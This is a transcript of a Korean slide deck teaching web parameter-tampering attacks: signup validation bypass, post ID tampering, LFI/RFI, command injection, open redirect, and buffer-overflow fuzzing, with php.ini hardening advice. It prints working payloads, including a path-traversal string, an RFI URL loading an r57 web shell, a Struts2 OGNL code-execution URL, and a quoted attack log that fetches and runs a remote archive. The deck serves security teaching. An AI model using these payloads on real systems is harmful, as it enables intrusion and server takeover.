parameter tampering

49
파라미터 변조 취약점 9주차 파라미터 변조 취약점 최일선 1 E-mail: [email protected] Writing by Ilsun Choi

Upload: ilsun-choi

Post on 08-Aug-2015

232 views

Category:

Technology


9 download

TRANSCRIPT

Page 1: parameter tampering

파라미터 변조 취약점9주차 파라미터 변조 취약점

최일선

1E-mail: [email protected] Writing by Ilsun Choi

Page 2: parameter tampering

Index

1. 개요

2. 사례분석

1) 회원가입

2) 타인 글 수정 및 삭제하기

3) 자바스크립트로 구성된 수정/삭제페이지 정보 노출

4) 파일 삽입(LFI/RFI)

5) 명령어 삽입

6) URL Redirection

3. 모의실습

1) 명령어 삽입 취약점 탐지

2) 버퍼오버플로우 점검

부록. Direct RET BOF

2E-mail: [email protected] Writing by Ilsun Choi

Page 3: parameter tampering

1. 개요

3

어플리케이션에서사용되는 정보

사용자 입력폼

Query String

HTTP 헤더

기타

명령어 삽입원격지 파일 삽입타인글 수정/삭제

변조

E-mail: [email protected] Writing by Ilsun Choi

Page 4: parameter tampering

2. 사례분석

1) 회원가입

2) 타인 글 수정 및 삭제하기

3) 자바스크립트로 구성된 수정/삭제페이지 정보 노출

4) 파일 삽입(LFI/RFI)

5) 명령어 삽입

6) URL Redirection

4E-mail: [email protected] Writing by Ilsun Choi

Page 5: parameter tampering

2. 사례분석 > 1) 회원가입

• 입력 값 검증을 위한 자바스크립트

• 자바스크립트의 예

• 비공개 test site를 사용하여 실습한 내용을 정리하였다.

5

if ( a!= b ){alert(“no hack”);location.href = “/”;

}

E-mail: [email protected] Writing by Ilsun Choi

Page 6: parameter tampering

2. 사례분석 > 1) 회원가입

1) 주민등록번호 인증 우회

6E-mail: [email protected] Writing by Ilsun Choi

Page 7: parameter tampering

• 주민등록번호 체크 로직을 찾아 삭제

2. 사례분석 > 1) 회원가입

7E-mail: [email protected] Writing by Ilsun Choi

Page 8: parameter tampering

• 존재하지 않는 주민등록번호를 기입하여우회에 성공

2. 사례분석 > 1) 회원가입

8E-mail: [email protected] Writing by Ilsun Choi

Page 9: parameter tampering

2. 사례분석 > 1) 회원가입

• 주소찾기 서비스 우회

• 테스트 서버이기 때문에 주소찾기 서비스가 존재하지 않는다.

9E-mail: [email protected] Writing by Ilsun Choi

Page 10: parameter tampering

• 성공적으로 회원가입에 성공한 것을 볼 수 있다.

10

2. 사례분석 > 1) 회원가입

E-mail: [email protected] Writing by Ilsun Choi

Page 11: parameter tampering

2. 사례분석 > 2) 타인 글 수정 및 삭제

7.1.1 타인 비밀 글 보기와 유사

먼저 우리가 이용할 수 있는 게시물 생성

11E-mail: [email protected] Writing by Ilsun Choi

Page 12: parameter tampering

• 내가 쓴 글 수정 페이지 열기

12

2. 사례분석 > 2) 타인 글 수정 및 삭제

E-mail: [email protected] Writing by Ilsun Choi

Page 13: parameter tampering

• 페이지 요청에서 18번 게시글 변경을 요청하고 있다는 것을 확인

• 15번 게시글을 바꾸기 위해 변조하여 진행

13

2. 사례분석 > 2) 타인 글 수정 및 삭제

E-mail: [email protected] Writing by Ilsun Choi

Page 14: parameter tampering

• 수정 후

• 삭제 후

14

2. 사례분석 > 타인 글 수정 및 삭제

E-mail: [email protected] Writing by Ilsun Choi

Page 15: parameter tampering

2. 사례분석 > 3) 자바스크립트, 수정 삭제 페이지 노출

15

• 삭제거나 수정할 수 있는 페이지를 요청하는 형식

• javascript 내에 수정/삭제 페이지 확인 가능

E-mail: [email protected] Writing by Ilsun Choi

Page 16: parameter tampering

2. 사례분석 > 4) 파일삽입(LFI/RFI)

• RFI: Remote File Inclusion

외부에 있는 서버로부터 파일을 첨부 받음

-> 취약한 로직(웹쉘과 같은)을 가져오기 위함

• LFI: Local File Inclusion

서버내부로부터 파일을 첨부 받음

-> 민감한 데이터 노출(시스템 파일 등)을 위함

16E-mail: [email protected] Writing by Ilsun Choi

Page 17: parameter tampering

• Default는 Off

• 개발자의 필요에 의해서 On이 될 수 있음.

17E-mail: [email protected] Writing by Ilsun Choi

2. 사례분석 > 4) 파일삽입(LFI/RFI)

Page 18: parameter tampering

LFI 사례 1

• 파라미터 값에 시스템 파일 등의 경로를 삽입 (다운로드 취약점과 유사)

• 아래와 같은 확장자를 붙이는 형식

널바이트 인젝션을 사용

18

구분 파라미터

원본 file=php(내부적으로 .abc가 붙어, php.abc를 호출

변조 file=../../../../../../etc/passwd%00

구분 취약한 함수

php언어 require(),include(),eval(),passthru(),system(),fopen() 등

E-mail: [email protected] Writing by Ilsun Choi

2. 사례분석 > 4) 파일삽입(LFI/RFI)

Page 19: parameter tampering

LFI 사례 2

• 제로보드(xe)의 /include/write.php 에서 발생된 LFI 취약점

• “://” 와 “..” 만을 필터링하기 때문에 다음과 같은 경로는 삽입 가능

c:\windows\system32\driver\etc\hosts

19E-mail: [email protected] Writing by Ilsun Choi

2. 사례분석 > 4) 파일삽입(LFI/RFI)

Page 20: parameter tampering

RFI 사례 1

• 원격지에 있는 txt파일

서버 내부에서 php로 실행

1. null.php 실행

2. include로 test.txt 파일 코드를 불러옴

3. null.php가 불러온 코드를 실행

20

실행

순서

1.

2.

3.

E-mail: [email protected] Writing by Ilsun Choi

2. 사례분석 > 4) 파일삽입(LFI/RFI)

Page 21: parameter tampering

• 쉘 코드 주소

• http://www.r57shell.net/shell/r57.txt

21E-mail: [email protected] Writing by Ilsun Choi

2. 사례분석 > 4) 파일삽입(LFI/RFI)

Page 22: parameter tampering

• http://192.168.157.130/9ch/null.php?file=http://www.r57shell.net/shell/r57.txt %00

• 이전 사례와 동일한 방식으로 txt 파일을 불러들여 실행함.

22E-mail: [email protected] Writing by Ilsun Choi

2. 사례분석 > 4) 파일삽입(LFI/RFI)

Page 23: parameter tampering

23

RFI 사례 2

• “://”을 필터링하여 사례(1)과 같은 취약점을 발생하지 않는다.

• 그러나, base64로 인코딩된 phpinfo()을 삽입하면 php.ini 파일 정보를 확인할 수 있다.

추가적인 취약점 노출 가능성

E-mail: [email protected] Writing by Ilsun Choi

2. 사례분석 > 4) 파일삽입(LFI/RFI)

Page 24: parameter tampering

• http://192.168.157.130/9ch/null.php?file=data:;base64,PD9waHBpbmZvKCk/PiUwMA==

• 삽입된 base64 코드 : <?phpinfo()?>%00

24E-mail: [email protected] Writing by Ilsun Choi

2. 사례분석 > 4) 파일삽입(LFI/RFI)

Page 25: parameter tampering

25

• 취약할 수 있는 php.ini 설정 목록

※ 자세한 내용은 교재 p288 확인하면 된다.

설정정보 권장 값 설정정보 권장 값

register_globals Off magic_quotes_sybase Off

safe_mode On open_basedir 디렉터리

safe_mode_gid Off safe_mode_exec_dir 디렉터리

expose_php Off display_errors Off

file_uploads Off log_errors On

allow_url_fopen Off error_log 파일명

magic_quotes_gpc On

E-mail: [email protected] Writing by Ilsun Choi

2. 사례분석 > 4) 파일삽입(LFI/RFI)

Page 26: parameter tampering

2. 사례분석 > 5) 명령어 삽입

1) PHP exec 함수

맘보(Mambo) 어플리케이션 취약점

26

mkidr

E-mail: [email protected] Writing by Ilsun Choi

Page 27: parameter tampering

2) open() 함수

AWStats 어플리케이션의 awstats.pl 페이지 취약점 공격 로그

1. id 명령어로 계정권한 확인

2. 원격지 파일(aw.tgz)를 가져와 악성프로그램 실행(inetd)

27

1 66.99.250.98 - - [24/Feb/2005:02:20:45 -0500] “GET//cgi-bin/awstats/awstats.pl?configdir=|%20id%20| HTTP/1.1”404 1051 “-”“mozilla./4.0 (compatible; MSIE 6.0; Windows 98)”

2 213.135.2.227 - - [26/Feb/2005:14:13:38 -0500] “GET /cgibin/awstats.pl?configdir=%20%7c%20cd%20%2ftmp%3bwget%20www.shady.go.ro%2faw.tgz%3b%20tar%20zx...HTTP1.1”200 410 “-” “Mozilla/4.0(compatible; MSIE 6.0; Windows NT 5.1; SV1;FunWebProducts)”

2번 내용 디코딩configdir= | cd /tmp; wget www.shandy.go.ro/aw.tgz;

tar zxf aw.tgz; rm –f aw.tgz; cd aw; ./inetd |

E-mail: [email protected] Writing by Ilsun Choi

2. 사례분석 > 5) 명령어 삽입

Page 28: parameter tampering

3) Apache Struts2(자바 웹 어플리케이션 개발 프레임 워크) 원격 코드 실행

• http://seclists.org/fulldisclosure/2013/Oct/96

• “action:”, “redirection:”, redirectAction:”과 같은 파라미터에 특정 구문 전달

28

http://vmbuild.apache.org/continuum/groupSummary.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'whoami'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matr%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23matt.getWriter().println(%23matr.getRealPath(%22/%22)),%23matt.getWriter().flush(),%23matt.getWriter().close()}

E-mail: [email protected] Writing by Ilsun Choi

2. 사례분석 > 5) 명령어 삽입

Page 29: parameter tampering

4) ASP 쉘 코드

5) PHP 쉘 코드

29E-mail: [email protected] Writing by Ilsun Choi

2. 사례분석 > 5) 명령어 삽입

Page 30: parameter tampering

5) JSP 쉘 코드

30E-mail: [email protected] Writing by Ilsun Choi

2. 사례분석 > 5) 명령어 삽입

Page 31: parameter tampering

언어별 취약한 함수 : 아래 함수 사용시 주의가 필요함

31

구분 취약한 함수

PHP require(), include(), eval(), exec(), passthru(), system(), fopen 등

PERL open(), sysopen(), glob(), system() 등

JAVA system.* (system.runtime) 등

C system(), exec(), strcpy(), strcat(), sprint() 등

PYTHON exec(), eval(), execfile(), compile(), input() 등

E-mail: [email protected] Writing by Ilsun Choi

2. 사례분석 > 5) 명령어 삽입

Page 32: parameter tampering

• 파라미터로 받은 URL 주소로 페이지 이동

• 피싱 위험

• 형태

http://신뢰할수있는사이트/redirect.asp?target=http://malicious.com

Phishing이란?Private Data + fishing의 합성어이메일 또는 스팸 등을 발송 및 접속자들을 특정 사이트와 동일한 가짜 사이트로 접속주민등록번호, 은행 계좌 혹은 신용카드 번호 탈취

Phishing의 유래1996년 AOL(American Online)을 사용하던 10대들이 일반 사용자에게 가짜 이메일을 보내는 해킹 기법으로 유래됨.

32E-mail: [email protected] Writing by Ilsun Choi

2. 사례분석 > 5) 명령어 삽입

Page 33: parameter tampering

• 보안 뉴스 참고 기사 : http://www.boannews.com/media/view.asp?idx=45812

• 음란 동영상 클릭 시 피싱 서버로 이동

• 페이스북과 똑같이 생긴 UI로 ID/Password 요청

33페이스북 계정 탈취 방법 개념도(출처: 이스트소프트) ▲E-mail: [email protected] Writing by Ilsun Choi

2. 사례분석 > 6) URL Redirection

Page 34: parameter tampering

3. 모의실습

1) 명령어 삽입 취약점 탐지

2) 버퍼오버플로우 점검

34E-mail: [email protected] Writing by Ilsun Choi

Page 35: parameter tampering

3. 모의실습 > 1) 명령어 삽입 취약점 탐지

• 파라미터 뒤에 명령어 삽입 시 명령어가 실행되는 취약점을 탐지한다.

• 삽입 패턴 : &ipconfig

• 탐지 패턴 : 255.255.25

• 작성한 탐지 패턴

35E-mail: [email protected] Writing by Ilsun Choi

Page 36: parameter tampering

• 탐지 결과

• 서버에서 netmask를

255.255.254로 바꾼 것으로 보임

36E-mail: [email protected] Writing by Ilsun Choi

3. 모의실습 > 1) 명령어 삽입 취약점 탐지

Page 37: parameter tampering

http://cafe.naver.com/sec/13325

1. Savant

• BOF 취약점이 존재하는 서버

2. Taof

• 웹 서버 fuzzer

3. 시연 동영상

37E-mail: [email protected] Writing by Ilsun Choi

3. 모의실습 > 2) 버퍼오버플로우 점검

Page 38: parameter tampering

• 프록시 서버를 생성하여

웹브라우저로 접속 시 요청 패킷을 기록

38E-mail: [email protected] Writing by Ilsun Choi

3. 모의실습 > 2) 버퍼오버플로우 점검

Page 39: parameter tampering

• Fuzzing Points를 설정하여

Test 할 문자열 길이를 정함

• Savant 프로그램을 Attach하여

비정상 종료 시

프로그램 덤프를 추출

39E-mail: [email protected] Writing by Ilsun Choi

3. 모의실습 > 2) 버퍼오버플로우 점검

Page 40: parameter tampering

• 프로그램이 종료 시 추출된 덤프

40E-mail: [email protected] Writing by Ilsun Choi

3. 모의실습 > 2) 버퍼오버플로우 점검

Page 41: parameter tampering

41

• Taof debugging data

• toaf fuzzer는 BOF 점검 시 A를 사용

• 240 문자열 삽입 이전 결과

File not found

• 255 문자열 삽입 이후 결과

Exception 발생

E-mail: [email protected] Writing by Ilsun Choi

3. 모의실습 > 2) 버퍼오버플로우 점검

Page 42: parameter tampering

부록. Direct RET BoF

다음과 같은 환경에만 가능한 기법이다.

- Windows XP 급 기반(ASLR 기반 OS는 실행하기 어려움)

- GS-Cookie 미설정

- DEP 미설정

이미지는 아래 블로그를 참고하였다.

http://fehead.tistory.com/201

42E-mail: [email protected] Writing by Ilsun Choi

Page 43: parameter tampering

43

• main() 함수에서 A() 함수 호출 시 스택 변화

E-mail: [email protected] Writing by Ilsun Choi

부록. Direct RET BoF

Page 44: parameter tampering

• 98번 주소에 main()에서의 EIP 저장

44E-mail: [email protected] Writing by Ilsun Choi

부록. Direct RET BoF

Page 45: parameter tampering

• 97번 주소에 main()에서의 EBP 저장

45E-mail: [email protected] Writing by Ilsun Choi

부록. Direct RET BoF

Page 46: parameter tampering

• A() 함수 스택 생성

46E-mail: [email protected] Writing by Ilsun Choi

부록. Direct RET BoF

Page 47: parameter tampering

• C/C++ 등에서의 문자열 저장방식

앞 주소 지정

null이 등장할 때까지 채움

47

문자열 입력 문자

열을

채우

는방

RET 변조 위험

E-mail: [email protected] Writing by Ilsun Choi

부록. Direct RET BoF

Page 48: parameter tampering

48

쉘 코드 입력

변조된 RET

• RET가 쉘 코드를 가리킴

쉘 코드 실행

• RET(EIP)와 EBP에 “41414141”이 입력됨

변조 가능

E-mail: [email protected] Writing by Ilsun Choi

부록. Direct RET BoF

Page 49: parameter tampering

참고문헌

• http://fehead.tistory.com/201

• http://cafe.naver.com/sec/13325

• http://www.boannews.com/media/view.asp?idx=45812

• 웹 모의해킹과 시큐어 코딩 진단 가이드 최경철 외 지음

E-mail: [email protected] Writing by Ilsun Choi 49